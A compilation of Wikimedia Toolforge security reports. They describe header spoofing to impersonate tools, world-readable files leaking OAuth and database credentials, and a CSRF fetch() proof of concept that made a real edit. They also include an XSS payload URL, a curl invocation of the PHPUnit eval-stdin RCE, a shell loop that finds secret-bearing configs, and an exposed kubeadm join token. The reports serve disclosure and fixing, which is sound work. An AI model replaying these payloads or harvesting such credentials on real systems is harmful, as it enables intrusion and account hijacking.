The builds-api server [[ https://gitlab.wikimedia.org/repos/cloud/toolforge/builds-api/-/blob/4dc7720c8fee58e7fcb47cd29abaed5ffc12cafd/cmd/main.go#L118 | binds to all interfaces ]] on the specified port. This, combined with the fact that there's no network policy restricting ingress traffic, means that any tool can craft a HTTP request with the `ssl-client-subject-dn` header set to a valid value for any arbitrary tool and impersonate that tool by bypassing the client certificate validation usually done in the nginx sidecar. For example, if a builds-api pod is running on `182.168.118.68`, one can do this:
```lang=shell-session
tools.taavi-test-tool@shell-1713183624:~$ curl -H "Host: 127.0.0.1:8000" -H "Accept: application/json" -H "ssl-client-subject-dn: O=toolforge,CN=openstack-browser" http://192-168-118-68.builds-api.builds-api.svc.tools.local:8000/v1/build | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2247 0 2247 0 0 3389 0 --:--:-- --:--:-- --:--:-- 3394
{
"builds": [
{
"build_id": "openstack-browser-buildpacks-pipelinerun-cdvtl",
"destination_image": "tools-harbor.wmcloud.org/tool-openstack-browser/tool-openstack-browser:latest",
"end_time": "2024-01-30T13:06:51Z",
"message": "Tasks Completed: 1 (Failed: 0, Cancelled 0), Skipped: 0",
"parameters": {
"envvars": {},
"ref": "",
"source_url": "https://gitlab.wikimedia.org/toolforge-repos/openstack-browser.git"
},
"start_time": "2024-01-30T13:05:03Z",
"status": "BUILD_SUCCESS"
},
{
"build_id": "openstack-browser-buildpacks-pipelinerun-wqdl5",
"destination_image": "tools-harbor.wmcloud.org/tool-openstack-browser/tool-openstack-browser:latest",
"end_time": "2023-11-10T15:17:49Z",
"message": "Tasks Completed: 1 (Failed: 0, Cancelled 0), Skipped: 0",
"parameters": {
"envvars": {},
"ref": "",
"source_url": "https://gitlab.wikimedia.org/toolforge-repos/openstack-browser.git"
},
"start_time": "2023-11-10T15:16:10Z",
"status": "BUILD_SUCCESS"
},
{
"build_id": "openstack-browser-buildpacks-pipelinerun-7g5gd",
"destination_image": "tools-harbor.wmcloud.org/tool-openstack-browser/tool-openstack-browser:latest",
"end_time": "2023-11-10T15:08:45Z",
"message": "Tasks Completed: 1 (Failed: 0, Cancelled 0), Skipped: 0",
"parameters": {
"envvars": {},
"ref": "",
"source_url": "https://gitlab.wikimedia.org/toolforge-repos/openstack-browser.git"
},
"start_time": "2023-11-10T15:07:06Z",
"status": "BUILD_SUCCESS"
},
{
"build_id": "openstack-browser-buildpacks-pipelinerun-2xr5s",
"destination_image": "tools-harbor.wmcloud.org/tool-openstack-browser/tool-openstack-browser:latest",
"end_time": "2023-07-19T16:16:39Z",
"message": "Tasks Completed: 1 (Failed: 0, Cancelled 0), Skipped: 0",
"parameters": {
"envvars": {},
"ref": "",
"source_url": "https://gitlab.wikimedia.org/toolforge-repos/openstack-browser.git"
},
"start_time": "2023-07-19T16:14:53Z",
"status": "BUILD_SUCCESS"
},
{
"build_id": "openstack-browser-buildpacks-pipelinerun-2wlfd",
"destination_image": "tools-harbor.wmcloud.org/tool-openstack-browser/tool-openstack-browser:latest",
"end_time": "2023-07-19T16:11:07Z",
"message": "Tasks Completed: 1 (Failed: 0, Cancelled 0), Skipped: 0",
"parameters": {
"envvars": {},
"ref": "",
"source_url": "https://gitlab.wikimedia.org/toolforge-repos/openstack-browser.git"
},
"start_time": "2023-07-19T16:09:21Z",
"status": "BUILD_SUCCESS"
}
],
"messages": {}
}
```
Toolforge currently permits tool names to contain Punycode, so that the tool URL can be an internationalized domain name; this is currently used by two [redirect-only tools](https://wikitech.wikimedia.org/wiki/User:BryanDavis/Kubernetes#Make_a_tool_redirect_to_another_tool_WITHOUT_running_a_webservice):
- https://🦄🎉.toolforge.org / https://xn--dk8hv9g.toolforge.org ⇒ https://www.mediawiki.org/wiki/Wikimedia_Cloud_Services_team
- https://🦊.toolforge.org / https://xn--9s9h.toolforge.org ⇒ https://meta.wikimedia.org/wiki/User:TheresNoTime/Foxes
In theory, this feature can be abused for [homograph attacks](https://en.wikipedia.org/wiki/IDN_homograph_attack). Is this something we’re concerned about in a tool name? Should we prevent it in tool registrations (e.g. in #striker, or by adding `xn--` to the [Wikitech title blacklist](https://wikitech.wikimedia.org/wiki/MediaWiki:Titleblacklist))? Or should we leave the matter to browsers? (Neither Firefox nor Chrome actually show either of the above URLs in encoded form, for example.)
Public OAuth credentials on Toolforge tools are an unfortunately common issue. Whilst the [[ https://wikitech.wikimedia.org/wiki/Help:Toolforge/Envvars_Service | envvars service ]] will hopefully make those less of an issue on the long term, I don't see the number of misconfigured tools decreasing on the short term. I wonder if there should be a standard process to follow especially in cases where the maintainer does not respond. Ssomething like this would be reasonable in my mind:
* Add tool maintainers to the Phabricator task, and send an email to them
* If the grant has any sensitive rights (which I believe is a MW defined term these days), revoke the consumer token immediately
* If the maintainers do not respond within a reasonable timeframe (say, two weeks), revoke the consumer
* If the issue goes unfixed within a slightly longer timeframe (say a month or two) revoke the consumer
I don't know for sure that this is a security issue or how sever it is in that case, but I'm rather safe than sorry. As I've understood it you never really want log files publicly readable.
## Steps to reproduce
# SSH to Toolforge and `become` a tool.
# Start a continuous job. I followed [[ https://wikitech.wikimedia.org/wiki/Help:Toolforge/Redis_for_Toolforge#Celery | wt:Help:Toolforge/Redis_for_Toolforge#Celery ]], but changed the command: `toolforge-jobs run --continuous --image python3.9 --command "date; sleep 10" job-test`.
# Check permissions of the log files: `ls -l ~/job-test.*`.
## Expected result
Log files are not readable by others.
## Actual result
Log files are readable by everyone. Output from `ls` above is:
```
-rw-r--r-- 1 tools.isa-dev tools.isa-dev 0 jul 18 09:22 /data/project/isa-dev/job-test.err
-rw-r--r-- 1 tools.isa-dev tools.isa-dev 96 jul 18 09:22 /data/project/isa-dev/job-test.out
```
Today I talked with [ACooper](https://office.wikimedia.org/wiki/User:ACooper-WMF) about a potential security risk in Toolforge, and I did some investigation with @aborrero.
The permissions of a tool's home directory `/data/project/<tool>` are `755`, so anyone can traverse it. The umask in Toolforge bastions is `022` (the Debian default), so any new file that you create as a tool user (after running `become $toolname`) has `rw-r--r--` permissions.
This means that files created in a tool's home directory `/data/project/<tool>` can be read by any other tool account, which maybe is required by some use cases but could be different from what some users expect. This might lead some users to write sensitive data (e.g. credentials) in their tool's home directory and exposing that data to other users without intending to do so.
This does not affect the files created automatically by `maintain-dbusers` (like `replica.my.cnf` containing the credentials for the replica dbs), that are created with a more secure `r--------`.
Example:
```lang=shell-session
fnegri@tools-sgebastion-10:~$ become whopaintedthis
tools.whopaintedthis@tools-sgebastion-10:~$ cat replica.my.cnf > test_file
tools.whopaintedthis@tools-sgebastion-10:~$ ls -lh
[...]
-r-------- 1 tools.whopaintedthis tools.whopaintedthis 52 Aug 13 2022 replica.my.cnf
-rw-r--r-- 1 tools.whopaintedthis tools.whopaintedthis 52 May 20 17:22 test_file
[...]
fnegri@tools-sgebastion-10:~$ sudo become arturo-test-tool
tools.arturo-test-tool@tools-sgebastion-10:~$ cd /data/project/whopaintedthis/
tools.arturo-test-tool@tools-sgebastion-10:/data/project/whopaintedthis$ cat replica.my.cnf
cat: replica.my.cnf: Permission denied
tools.arturo-test-tool@tools-sgebastion-10:/data/project/whopaintedthis$ cat test_file
[the file content is displayed]
```
The `bodh` tool ([documentation](https://www.wikidata.org/wiki/Wikidata:Bodh), [source](https://gitlab.com/Jayprakash12345/bodh))’s `config.py` file, containing OAuth credentials of two consumers ([production](https://meta.wikimedia.org/wiki/Special:OAuthListConsumers/view/c39914f08fe10a8f11ed42f08adcdaad) and [local](https://meta.wikimedia.org/wiki/Special:OAuthListConsumers/view/fe119f488e4b1ab8d3023327a2cba4ab)), was world-readable, so that anyone on Toolforge could read the consumer secret and hijack the consumer. I’ve made the file non-world-readable now, but the consumer should still be revoked and a new one be requested instead.
https://phabricator.wikimedia.org/source/tool-ddescriptions/manage/policies/ and https://phabricator.wikimedia.org/source/tool-socks/manage/policies/ allow anyone to push to them.
Can a phab admin please update these policies? (and review for any inappropriate pushes)
The `wdqs-tutorial` tool has a world-readable `dbdump` file:
```lang=shell-session,counterexample
lucaswerkmeister-wmde@tools-sgebastion-10:~$ ls -l ~tools.wdqs-tutorial/dbdump
-rw-r--r-- 1 wmde-leszek tools.wdqs-tutorial 5820375 Jun 22 2020 /data/project/wdqs-tutorial/dbdump
```
It includes some user registrations, including email addresses and hashed passwords:
```lang=mysql,lines=7
--
-- Table structure for table `wp9c_users`
--
DROP TABLE IF EXISTS `wp9c_users`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `wp9c_users` (
`ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
`user_login` varchar(60) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '',
`user_pass` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '',
`user_nicename` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '',
`user_email` varchar(100) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '',
`user_url` varchar(100) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '',
`user_registered` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
`user_activation_key` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '',
`user_status` int(11) NOT NULL DEFAULT '0',
`display_name` varchar(250) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '',
PRIMARY KEY (`ID`),
KEY `user_login_key` (`user_login`),
KEY `user_nicename` (`user_nicename`),
KEY `user_email` (`user_email`)
) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
```
```lang=mysql,counterexample
INSERT INTO `wp9c_users` VALUES (1,'admin','$P$REDACTED','admin','REDACTED@gmail.com','','2019-10-14 14:37:11','',0,'admin'),(2,'testadmin','$P$REDACTED','testadmin','REDACTED@wikimedia.de','','2020-05-09 15:53:18','',0,'testadmin');
```
This file must be made readable only to the tool user and nobody else (or better yet, deleted entirely).
We currently provision quotas for jobs and cronjobs like this:
```
taavi@tools-sgebastion-10:~ $ kubectl describe quota -n tool-mismatch-finder-staging
Name: tool-mismatch-finder-staging
Namespace: tool-mismatch-finder-staging
Resource Used Hard
-------- ---- ----
count/cronjobs 0 50
count/jobs 0 15
[...]
```
The quota resource names are wrong! According to https://kubernetes.io/docs/concepts/policy/resource-quotas/#object-count-quota, they should be `count/jobs.batch` and `count/cronjobs.batch`.
This just caused us some major issues when a misbehaving tool created an absolute ton of job objects all constantly trying to spawn a job but failing (hitting the pod limit).
TODO:
* [x] fix maintain-kubeusers for new tools
* [x] fix existing tools
* [x] double-check [[ https://wikitech.wikimedia.org/wiki/Wikimedia_Cloud_Services_team/EnhancementProposals/Toolforge_jobs | toolforge-jobs ]] is setting a sensible `concurrencyPolicy` by default
```lang=shell-session,counterexample,lines=16
lucaswerkmeister-wmde@tools-sgebastion-07:~$ ls -l ~tools.mismatch-finder/mismatch-finder-repo/.env
-rw-rwxr-- 1 tools.mismatch-finder tools.mismatch-finder 1262 Aug 3 08:25 /data/project/mismatch-finder/mismatch-finder-repo/.env
lucaswerkmeister-wmde@tools-sgebastion-07:~$ cat ~tools.mismatch-finder/mismatch-finder-repo/.env
APP_NAME=Laravel
APP_ENV=production
APP_KEY=base64:REDACTED
APP_DEBUG=false
APP_URL=https://mismatch-finder.toolforge.org
ASSET_URL="${APP_URL}"
MEDIAWIKI_OAUTH_CLIENT_ID=2c6943d87b5426465cff655cf2d8e813
MEDIAWIKI_OAUTH_CLIENT_SECRET=REDACTED
MEDIAWIKI_OAUTH_CALLBACK_URL="${APP_URL}/auth/callback"
MEDIAWIKI_OAUTH_BASE_URL=https://www.wikidata.org
LOG_CHANNEL=stack
LOG_LEVEL=debug
DB_CONNECTION=mysql
DB_HOST=tools.db.svc.eqiad.wmflabs
DB_PORT=3306
DB_DATABASE=s54796__mismatch_finder
DB_USERNAME=s54796
DB_PASSWORD=REDACTED
BROADCAST_DRIVER=log
CACHE_DRIVER=file
FILESYSTEM_DRIVER=local
QUEUE_CONNECTION=database
SESSION_DRIVER=file
SESSION_LIFETIME=120
MEMCACHED_HOST=127.0.0.1
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379
MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS=null
MAIL_FROM_NAME="${APP_NAME}"
AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=
AWS_USE_PATH_STYLE_ENDPOINT=false
PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1
MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
```
The [OAuth consumer](https://meta.wikimedia.org/wiki/Special:OAuthListConsumers/view/2c6943d87b5426465cff655cf2d8e813) has the “edit existing pages” grant.
(Also, the file is group-executable apparently?)
this is barely worth a phabricator task since it’s an [owner-only consumer](https://meta.wikimedia.org/wiki/Special:OAuthListConsumers/view/e73eaac293eaa1ba7f11952cd874f365) but the credentials of [bash.toolforge.org](https://bash.toolforge.org/) are world-readable on toolforge and i assume they’re not supposed to be
```lang=sh,counterexample
lucaswerkmeister@tools-sgebastion-07:~$ cat ~tools.bash/quips/.env
#ES_URL=http://tools-elastic-01.tools.eqiad.wmflabs/
ES_URL=http://elasticsearch.svc.tools.eqiad1.wikimedia.cloud/
ES_USER=tools.bash
ES_PASSWORD="xxxxxxxxxxxxxxxxxxxxxxxx"
CAN_EDIT=true
CAN_VOTE=true
LOG_CHANNEL=quips
LOG_LEVEL=info
SLIM_MODE=development
USE_OAUTH=true
## bash.toolforge.org OAuth
OAUTH_CONSUMER_TOKEN=e73eaac293eaa1ba7f11952cd874f365
OAUTH_SECRET_TOKEN=xxxxxxxxxxxxxxxxxxxxxxx
OAUTH_ENDPOINT="https://www.mediawiki.org/w/index.php?title=Special:OAuth"
OAUTH_REDIR="https://www.mediawiki.org/wiki/Special:OAuth/authenticate?"
OAUTH_CALLBACK=https://bash.toolforge.org/oauth/callback
## tools.wmflabs.org/bash
#OAUTH_CONSUMER_TOKEN=aea31746a1e5d5b3e7514952f70e7035
#OAUTH_SECRET_TOKEN=xxxxxxxxxxxxxxxxxxxxxxx
#OAUTH_ENDPOINT="https://www.mediawiki.org/w/index.php?title=Special:OAuth"
#OAUTH_REDIR="https://www.mediawiki.org/wiki/Special:OAuth/authenticate?"
#OAUTH_CALLBACK=https://tools.wmflabs.org/bash/oauth/callback
```
can a toolforge admin or @bd808 just `chmod go-rwx ~tools.bash/quips/.env` and then we’ll get on with our lives and forget this ever happened
I noticed there are a lot of world-readable `www/python/src/config.yaml` files in tool home directories. (This is the standard configuration file path for Flask-based tools following the [Wikitech guide](https://wikitech.wikimedia.org/wiki/Help:Toolforge/My_first_Flask_OAuth_tool) and/or [cookiecutter-toolforge](https://github.com/lucaswerkmeister/cookiecutter-toolforge).) 21 of them seem to contain a [secret key](https://flask.palletsprojects.com/en/2.0.x/config/#SECRET_KEY) (Flask’s way of protecting the session cookie against tampering) and/or OAuth credentials.
```lang=shell-session
lucaswerkmeister@tools-sgebastion-07:~$ for file in /data/project/*/www/python/src/config.yaml; do if grep -qi -e secret_key -e oauth "$file" 2>/dev/null; then printf '%s\n' "$file"; fi; done
/data/project/brazilianlaws/www/python/src/config.yaml
/data/project/clpo13-flask/www/python/src/config.yaml
/data/project/funpedia/www/python/src/config.yaml
/data/project/glam2commons/www/python/src/config.yaml
/data/project/image-annotator/www/python/src/config.yaml
/data/project/ipwatcher/www/python/src/config.yaml
/data/project/k8s-status/www/python/src/config.yaml
/data/project/massmailer/www/python/src/config.yaml
/data/project/qrcode-generator/www/python/src/config.yaml
/data/project/sibutest/www/python/src/config.yaml
/data/project/toolviews/www/python/src/config.yaml
/data/project/tsbot/www/python/src/config.yaml
/data/project/visualcategories/www/python/src/config.yaml
/data/project/wdbeoupdate/www/python/src/config.yaml
/data/project/wikibrasoes/www/python/src/config.yaml
/data/project/wikifile-transfer/www/python/src/config.yaml
/data/project/wikimarcas/www/python/src/config.yaml
/data/project/wikimotivos/www/python/src/config.yaml
/data/project/wikiquantos/www/python/src/config.yaml
/data/project/wikiroupas/www/python/src/config.yaml
/data/project/wikiusos/www/python/src/config.yaml
```
(Specifically, 19 files match SECRET_KEY, and 19 match OAuth case-insensitively, and these sets mostly but not entirely overlap. Also, until a few hours ago, Wikidata Lexeme Forms was another one of these tools, see T286414.)
These should probably all be only user-accessible (`chmod 600`).
==== Affected tools
[x] brazilianlaws T286416#7207604
[ ] clpo13-flask
[ ] funpedia
[ ] glam2commons
[ ] image-annotator
[X] ipwatcher
[x] k8s-status (SECRET_KEY only)
[X] massmailer
[x] qrcode-generator
[ ] sibutest
[x] toolviews (SECRET_KEY only)
[X] tsbot
[ ] visualcategories
[X] wdbeoupdate (test tool)
[x] wikibrasoes T286416#7207604
[x] wikifile-transfer
[x] wikimarcas T286416#7207604
[x] wikimotivos T286416#7207604
[x] wikiquantos T286416#7207604
[x] wikiroupas T286416#7207604
[x] wikiusos T286416#7207604
There are several places where the #isa tool interprets texts from Wikidata as HTML without escaping them. This is problematic, because Wikidata labels and descriptions are not necessarily HTML-safe.
Example: go to https://isa.toolforge.org/campaigns/77/participate, then search for the item ID **Q43981055** in the “depicts” field. You will get one browser alert as soon as the search results load, and then another one if you select the search result.
The `/api/post-contribution` route of the #isa Toolforge tool combines several antipatterns:
# It doesn’t have any CSRF protection, as far as I can see: there’s no kind of edit token in the request data, nor does it check where the request comes from.
# The parameters of the API call made to the MediaWiki Action API are part of the request data (generated by the ISA JavaScript code in the benign case, but otherwise attacker-controlled), the Python backend mainly adds a valid CSRF token.
# It’s registered not only for the POST method, but also for GET. (But it also only reads only the request body, not the URL, so I don’t think it can actually be exploited over GET.)
Issue 1 means that if a user is logged into ISA, any website they visit can post contributions on their behalf. Issue 2 means that the contributions are not limited to the kinds of edits that the tool is supposed to make, but that any API action is available, as long as it a) uses the default `csrf` token type (unlike e.g. the rollback API), and b) is covered by the grants of [the tool’s OAuth consumer](https://meta.wikimedia.org/wiki/Special:OAuthListConsumers/view/782e467d43afe9f47ab8c0a9670bde48) (Interact with pages: Edit existing pages; Create, edit and move pages).
Example:
```lang=js
fetch('https://isa.toolforge.org/api/post-contribution', {
method: 'POST',
mode: 'cors',
credentials: 'include',
body: JSON.stringify([{
campaign_id: 0,
image: null,
edit_action: null,
edit_type: null,
country: null,
api_options: {
action: 'edit',
title: 'User:Lucas Werkmeister/sandbox',
appendtext: 'Hi :)',
},
}]),
});
```
I ran this code on [tmp.lucaswerkmeister.de](http://tmp.lucaswerkmeister.de/) (an arbitrary website which conveniently has no connect-src CSP that might block this request), and [an edit was made](https://commons.wikimedia.org/w/index.php?diff=574569936).
Issues 1 and 3 also seem to affect several other APIs of the tool (e.g. creating or updating a campaign), but I haven’t bothered checking if those APIs are actually vulnerable.
I’ve noticed that the configuration of #isa on Toolforge is public / world-readable:
```lang=shell-session
lucaswerkmeister@tools-sgebastion-07:~$ ls -l ~tools.isa/www/python/src/isa/config.yaml
-rw-rw-rw- 1 tools.isa tools.isa 404 Aug 1 2019 /data/project/isa/www/python/src/isa/config.yaml
lucaswerkmeister@tools-sgebastion-07:~$ cat ~tools.isa/www/python/src/isa/config.yaml
SECRET_KEY: TheSecretKeyIsWeirdButNotAHugeIssue
SQLALCHEMY_DATABASE_URI: 'mysql+pymysql://s54010:ThisPasswordShouldNotBePublic@clouddb1001/s54010__isa'
OAUTH_MWURI: https://meta.wikimedia.org/w/index.php
OAUTh_EDIT_URI: https://test-commons.wikimedia.org/w/api.php
CONSUMER_KEY: 782e467d43afe9f47ab8c0a9670bde48
CONSUMER_SECRET: NorShouldThisConsumerSecret
SQLALCHEMY_POOL_RECYCLE: 90
```
This includes the ToolsDB password and the secret key of the [OAuth consumer](https://meta.wikimedia.org/wiki/Special:OAuthListConsumers/view/782e467d43afe9f47ab8c0a9670bde48). (Also, the file is even world-//writable//? But the fact that it’s readable is definitely the bigger issue, in my opinion.)
There’s also an older version of the file, with the same database password but [a different OAuth consumer](https://meta.wikimedia.org/wiki/Special:OAuthListConsumers/view/d7b550d86521513cfcb0b10d15089c4d) (which only has basic access, but is also still approved):
```lang=shell-session
lucaswerkmeister@tools-sgebastion-07:~$ ls -l ~tools.isa/www/python/backup_config.yaml
-rw-rw-rw- 1 tools.isa tools.isa 305 Jun 25 2019 /data/project/isa/www/python/backup_config.yaml
lucaswerkmeister@tools-sgebastion-07:~$ cat ~tools.isa/www/python/backup_config.yaml
SECRET_KEY: TheSecretKeyIsStillWeirdButNotAHugeIssue
SQLALCHEMY_DATABASE_URI: 'mysql://s54010:ThisShouldStillNotBePublic@clouddb1001/s54010__isa'
OAUTH_MWURI: https://meta.wikimedia.org/w/index.php
CONSUMER_KEY: d7b550d86521513cfcb0b10d15089c4d
CONSUMER_SECRET: AndNeitherShouldThisBe
```
I haven’t found any other version of the config file.
```lang=shell-session
lucaswerkmeister@tools-sgebastion-07:~$ find ~tools.isa/ -name node_modules -prune -or -\( -name '*.yaml' -or -name '*.yml' -\) -type f -print
find: ‘/data/project/isa/.cache’: Permission denied
find: ‘/data/project/isa/.config’: Permission denied
find: ‘/data/project/isa/.ssh’: Permission denied
/data/project/isa/www/python/backup_config.yaml
/data/project/isa/www/python/src/isa/config.yaml
```
**Suggested quickfix:**
* `sudo chmod go-rwx ~tools.isa/www/python/src/isa/config.yaml`
* `sudo mv ~tools.isa/www/python/backup_config.yaml ~root/T286411__backup_config.yaml`
* disable the [old consumer](https://meta.wikimedia.org/wiki/Special:OAuthListConsumers/view/d7b550d86521513cfcb0b10d15089c4d)
In the slightly longer term, the #isa developers should probably request and configure a new OAuth consumer, and the old one should be disabled, since any Toolforge user could have stolen its secret in the past two years or so.
Toolforge admin accounts (maintainers of the `admin` tool) can manage #Striker via the Django admin console at https://toolsadmin.wikimedia.org/contrib-admin/. Logging in via its internal login form and not [[ https://toolsadmin.wikimedia.org/auth/login/?next=/ | the main one ]] will bypass 2-factor authentication. Not sure if this applies to all accounts or just admins.
Any Toolforge user can log in to tools-puppetmaster-02 and read any file located under /var/lib/git/labs/private, including files modified in local commits containing Toolforge secrets (obviously I didn't look at the contents of any actual secret files, but I did look at the list of affected files using `git log --name-only --pretty=oneline`, and using `ls -a` shows that they are world readable).
There might be similar security vulns on other "internal" Toolforge nodes that can be accessed by any Toolforge user or on other shared projects.
Special:NovaKey doesn't appear to have any introduction message on the page which could be used to warn users but restrictions such as not reusing production access keys (Recent examples T275677 & T275679).
**Project Information **
* Name of tool/project: Toolforge Kubernetes Security Design and Controls
* Project home page: https://tools.wmflabs.org/admin/
* Name of team requesting review: Wikimedia Cloud Services
* Primary contact: Brooke Storm
* Target date for deployment: It's deployed and has been for years, but we just redesigned it. The redesigned one is also already deployed, but only for a month or so. This is for reviewing the security design before it is completely published. All puppet code, controller code and even the RBAC and pod security policy design is publicly published, really.
* Link to code repository / patchset: https://docs.google.com/document/d/1QNbkrzE8M1HN7LR1ySN_MBjgVJhgyAN6nO_JJFCFTB0/edit# (links to the wikitech published parts are in there).
**Description of the tool/project: **
Toolforge is a platform-as-a-service aimed at the simplified deployment and maintenance of web tools, bots and cron jobs that are managed by their respective owners for the benefit of the Wikimedia movement. This portion of Toolforge, the Kubernetes cluster, is the primary execution layer for web services and is the focus for future service development.
**Description of how the tool will be used at WMF:**
It is used quite a lot already. Tools are written and deployed by community members (internal and external to the Foundation) to do everything from running IRC bots to batch editing Wikidata and tracking vandalism. Some 30%-40% of all wiki edits come from the Cloud Services IP range, and it is likely safe to say that a large proportion of that comes from Toolforge. Users range from members of the WMCS team itself to individuals online that we have never met who are approved through a cursory vetting process of asking if they have Wikimedia-related work in mind. For that reason, good controls are important.
**Dependencies**
>Please see the linked document. There are many.
**Has this project been reviewed before?**
> Not outside the WMCS team.
**Working test environment**
> There is toolsbeta, which has no link, unfortunately. The cluster has a control-plane of three nodes named toolsbeta-test-k8s-control-[123].
**Post-deployment**
> Wikimedia Cloud Services is and will be responsible for this service for the foreseeable future.
I built tools-k8s-worker-[6-14] and now I want to join them to the cluster.
```
$ ssh root@tools-k8s-control-1.tools.eqiad.wmflabs
$ kubeadm token create
54uehz.m8phs2y9tubxp92o
$ openssl x509 -pubkey -in /etc/kubernetes/pki/ca.crt | openssl rsa -pubin -outform der 2>/dev/null | openssl dgst -sha256 -hex | sed 's/^.* //'
1cbcba20a201006b0359d5884e94567a07a8d809adcc8ad4f8402a64f57ad45b
$ exit
$ ssh root@tools-k8s-worker-6.tools.eqiad.wmflabs
$ kubeadm join k8s.tools.eqiad1.wikimedia.cloud:6443 --token 54uehz.m8phs2y9tubxp92o --discovery-token-ca-cert-hash sha256:1cbcba20a201006b0359d5884e94567a07a8d809adcc8ad4f8402a64f57ad45b
[preflight] Running pre-flight checks
[WARNING SystemVerification]: this Docker version is not on the list of validated versions: 19.03.5. Latest validated version: 18.09
[preflight] Reading configuration from the cluster...
[preflight] FYI: You can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -oyaml'
error execution phase preflight: unable to fetch the kubeadm-config ConfigMap: failed to decode cluster configuration data: v1beta2.ClusterConfiguration.APIServer: v1beta2.APIServer.ControlPlaneComponent: ExtraVolumes: []v1beta2.HostPathMount: decode slice: expect [ or n, but found {, error found in #10 byte of ...|Volumes":{"hostPath"|..., bigger context ...|E_ECDSA_WITH_AES_256_GCM_SHA384"},"extraVolumes":{"hostPath":"/etc/kubernetes/admission","mountPath"|...
```
We have a number of open XSS and other vulnerability and compliance issues for Cloud VPS projects and/or Toolforge tools. We need to document and communicate what our process is for dealing with these. It's topical as some of these projects are abandoned, many are run by folks with minimal free time, folks who may need a bit of sheparding on what to do, but in the end we cannot allow applications with exploitable issues to remain online indefinitely.
Dear Security Team,
I am a security researcher and i found out a critical file on your website that shouldn't be visible to users. Please fix it.
**Vulnerable URL:**
- https://accounts.wmflabs.org/.gitignore
- https://accounts.wmflabs.org/.editorconfig
- https://accounts.wmflabs.org/gitattributes
- https://accounts.wmflabs.org/.scrutinizer.yml
- https://accounts.wmflabs.org/.travis.yml
- https://accounts.wmflabs.org/.gitmodules
- https://accounts.wmflabs.org/phpunit.xml.dist
Thanks and Regards
```
$ curl --data "<?php echo(pi());" "https://tools.wmflabs.org/mwstew/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
3.1415926535898
```
This is CVE-2017-9841 / http://phpunit.vulnbusters.com/
I deleted the problematic file for now (`tools.mwstew@tools-bastion-03:~/public_html$ rm vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`), but PHPUnit needs to be upgraded to the latest 4.x release to avoid the issue in the future. Also it would be good to not install dev dependencies with `composer install --no-dev`.
I noticed this with my new Toolforge vulnerability checker.
```
exploit code
https://tools.wmflabs.org/wp-world/googlmaps-proxy.php?page=%27%22%3E%3C/SCRipt%3E%3CsVg/oNLoad=confirm(/xssposed/)%3E&output=classic
Le Fri, 6 Jul 2018 13:56:53 +0000,
Brian Wolff <bwolff@wikimedia.org> a écrit :
> Hi Lacroute.
>
> Thank you for reporting a security issue - Unfortunately I can't seem
> to access the details of your report. Would you be able to email the
> details of the vulnerability tosecurity@wikimedia.org
>
> Thanks,
>
> Brian Wolff
> Wikimedia Security Team
>
> On Fri, Jul 6, 2018 at 1:47 PM,lacroutelacroute@gmail.com <
> lacroutelacroute@gmail.com> wrote:
>
> > hello
> >
> >
> > hey
> >
> > iam bugbounty hunter
> > iam lacroute serge france
> > https://twitter.com/fakessh
> >
> > in condition standard responsable disclosure
> > happy bugbounty
> >
> > https://www.openbugbounty.org/reports/641446/
> >
> > regards
> >
> > serge
```
For more visibility of things like T182341, can we get security@tools.wmflabs.org forward to security@wikimedia.org ?
https://redis.io/commands/scan
[[https://github.com/wikimedia/puppet/blob/production/modules/toollabs/manifests/redis.pp#L43|this command is not disabled]]
Split off from T157450.
If a tool can send `Service-Worker-Allowed: /` header, it can install what is basically an in-browser JS mitm proxy against all of tool labs (at least in chrome and firefox). This would be rather bad. I don't know enough about tool labs infrastructure to know how easy it is to filter headers, but if possible, it should not be allowed for tools to send that header.
IIRC Extension:OpenStackManager checks not only the wikitech account name, but also (and more importantly) the shell user name against TitleBlacklist, so users can't create accounts with the shell name `root`, for example. If I interpret `striker/register/utils.py` correctly, for shell names it only checks that they are not already in LDAP.
Run the following query from labs
```
select user_name, up_value from user_properties inner join user on up_user = user_id where up_property = 'timecorrection' and up_value != '' limit 30;
```
Gives a list of users and their timezone. This seems like a privacy breach as timezone is strongly correlated with location. You don't even have to do the correlation yourself. Consider the following query.
```
select user_name, up_value from user_properties inner join user on up_user = user_id where up_property = 'timecorrection' and up_value like '%America/Los_Angeles%' limit 30;
```
Now you know a bunch of users who live in California.
I think this preference should be considered private and redacted from the tool labs db.
---
From:
> up_property in ( 'disablemail', 'fancysig', 'gender', 'language', 'nickname', 'skin', 'timecorrection', 'variant' )
to:
> up_property in ( 'disablemail', 'fancysig', 'gender', 'nickname' )
Proposed for removal: `language`, `skin`, `timecorrection` and `variant`
